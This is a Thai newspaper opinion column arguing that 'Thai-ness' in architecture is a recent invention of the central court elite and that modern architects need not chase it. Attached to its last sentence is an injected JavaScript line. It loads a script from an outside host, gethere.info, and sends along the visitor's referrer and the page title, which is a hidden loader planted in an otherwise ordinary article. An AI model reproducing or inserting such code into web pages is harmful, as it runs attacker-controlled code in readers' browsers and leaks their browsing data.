มติชนรายวัน ฉบับประจำวันอังคารที่ 4 ธันวาคม 2555

 

          ความเป็นไทย หรือเอกลักษณ์ไทย (หรือจะเรียกเป็นอย่างอื่นด้วยคำหรูๆอะไรก็ตาม) ที่ฟูมฟายโหยหาทุกวันนี้ ไม่เคยมีในยุคอยุธยา, ยุคสุโขทัย, ยุคธนบุรี

          ล้วนเป็นเรื่องสมมุติขึ้นอย่างเหมาๆด้วยเหตุผลทางการเมืองเรื่องรัฐชาติและการสร้างชาติสมัยใหม่ เมื่อไม่นานสัก 100 กว่าปีนี้เอง

          โดยสมมุติขึ้นจากวิถีชีวิตวัฒนธรรมของคนชั้นนำ ทั้งที่อยู่ข้างในและที่อยู่ใกล้ชิดราชสำนักลุ่มน้ำเจ้าพระยา ภาคกลางเท่านั้น ไม่มีลุ่มน้ำอื่นๆ ในภาคอื่นๆของไทย

          แต่ใช้ครอบงำลุ่มน้ำอื่นๆ ในภาคอื่นๆทั่วประเทศ ให้เชื่อถือเหมือนๆกันอย่างเชื่องๆว่าความเป็นไทย หรือเอกลักษณ์ไทย

          ใครคิดต่างจากนี้ถูกตำหนิติฉินว่าไม่ไทย ไม่เว้นแม้สถาปัตยกรรมในไทย

          สถาปัตยกรรมไทย หมายถึงรูปแบบสิ่งก่อสร้างอันเป็นที่นิยมชมชื่นของคนชั้นนำที่อยู่ข้างในและใกล้ชิดราชสำนักลุ่มน้ำเจ้าพระยา ภาคกลาง ซึ่งในอดีตล้วนรับแบบแผนจากสถาปัตยกรรมของราชสำนักนานาชาติที่เก่าแก่, ศักดิ์สิทธิ์, และแข็งแรงกว่าไทย เช่น อินเดีย, จีน, เปอร์เซีย(อิหร่าน), กัมพูชา, ท้ายสุดคือยุโรป

          โดยมีพื้นฐานการก่อสร้างแบบวัฒนธรรมร่วมรากจากอุษาคเนย์ เช่น เสาสูง, หน้าจั่ว, กาแล, ฯลฯ

          ทั้งหมดที่ยกมานี้ ล้วนไม่ต่างจากสถาปัตยกรรมของคนชั้นนำราชสำนักอื่นในอุษาคเนย์ ดังนั้น ที่ว่าเป็นเอกลักษณ์ของสถาปัตยกรรมไทยเท่านั้น ก็ไม่จริง เพราะมีทั่วไปทั้งในสุวรรณภูมิและอุษาคเนย์

          เอกลักษณ์ไทย หรือความเป็นไทยในสถาปัตยกรรม จึงไม่มีอยู่จริง แต่เป็นเรื่องทึกทักเอาเองของคนชั้นนำไทยเมื่อศตวรรษที่แล้ว

          ฉะนั้น สถาปัตยกรรมสมัยใหม่ของไทย ไม่จำเป็นต้องแสวงหาสิ่งที่ไม่มีจริง

          สถาปัตยกรรมไทย(ที่ทึกทักเองว่าเป็นไทย)แบบจารีต ย่อมมีระดับชั้น(หรือชนชั้น) ยิ่งได้รับสรรเสริญเยินยอสดุดีว่าเป็นของสูงมากๆ ก็ยิ่งได้รับยกย่องมากๆว่าไท้ยไทยแท้ๆ

          จึงหลีกเลี่ยงมิได้ที่สถาปนิกร่วมสมัยต้องหมอบคลานไขว่คว้าของสูงนั้นมาประยุกต์ใช้ใหม่กับอาคารสมัยใหม่ที่ไม่เคยมีมาก่อน เช่น อาคารรัฐสภา, อาคารศูนย์ประชุมต่างๆ ฯลฯ

          แต่แล้วกลับถูกพวกแช่แข็งความเป็นไทยก่นกล่าวตำหนิติเตียนอย่างเหยียดๆว่าไม่รู้จักที่ต่ำที่สูง และทำลายความเป็นไทย

          ส่วนสถาปัตยกรรมไทยประยุกต์ที่รุงรังรุ่มร่ามเป็นอาการล้าหลัง-คลั่งชาติของสถาปัตยกรรมยุคเผด็จการทหารที่แสดงออกในยุคหนึ่งสมัยหนึ่ง

          บางพวกจงใจขุดคุ้ยหารูปแบบเชิงสัญลักษณ์ เช่น จากไตรภูมิ ฯลฯ มาออกแบบอาคารสมัยใหม่ ก็เป็นแค่ดราม่าสถาปัตย์เพื่อแสดงตัวว่าไท้ยไทย ของพวกโหยหาอดีตชั่วครั้งชั่วคราว

          สถาปัตยกรรมไทยแบบจารีต ล้วนอลังการด้วยลายกระหนก(จากอินเดีย แต่ทึกทักว่าไทย) ย่อมเหมาะสำหรับรัฐจารีตโบราณ ซึ่งผ่านพ้นไปแล้ว (หรือยังไม่พ้นก็ไม่รู้ ใครล่ะจะบอกได้?)

          แต่สังคมสมัยใหม่เห็นว่ารุ่มร่ามรุงรัง และสิ้นเปลือง แล้วดูแลรักษายาก

          ฉะนั้น ทิ้งความเป็นไทย เทิดความเป็นคน แล้วสร้างสถาปัตยกรรมเพื่อรับใช้คนในสังคมให้อยู่รอดปลอดภัย โดยไม่เบียดเบียนคนและธรรมชาติ

          แล้วจะเป็นไทยหรือไม่ไทย ก็ช่างหัวมันเถอะs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;